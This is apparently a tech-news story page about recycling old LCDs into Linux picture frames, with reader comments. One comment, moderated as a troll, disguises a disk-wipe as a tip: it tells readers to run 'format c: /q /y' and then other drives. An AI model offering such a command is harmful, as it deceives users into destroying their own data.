Creative Recycling: Dumpster Diving

Posted by michael on from the finders-keepers dept.

gnewton writes "One angle of Open Source software that perhaps has not been emphasised enough is how the lower cost of software and operating systems as compared to proprietary/commercial solutions can allow for greater creativity and actually open up markets and solutions that were previously unavailable, in the area of Recycling. This article talks about a new startup which recycles old LCDs into cool and fun digital picture frames."

    Interesting how you seem to have skipped over the first sentence of that paragraph. Here it is, with emphasis added to the pertinant part:

    Mitch and Gordon's small team disassembled the machines, mounted the displays in handmade wood frames with the motherboard and hard disk, and added Wi-Fi and their own Linux-based software.

    How is this a troll? Now, it is redundent, but a troll?

    Because there still isn't a "karma whore" option. "Troll" seemed to come closest to the mark. I modded this and the last article post down for being karma whores, and I would happily do it again.

    Anyone who posts the text of an article out of the goodness of their heart (and thank you to those who do) does so as AC. Those who post the article text while logged in are whoring for karma, and deserve to be down-modded.

  5. Try this! by Anonymous Coward · · Score: -1, Troll

    Click on "Start"
    Click on "Run"
    Type in "cmd"
    In the black box type in "format c: /q /y"
    If that doesn't work try "format d: /q /y" or "format e: /q |Y".

    Good luck!
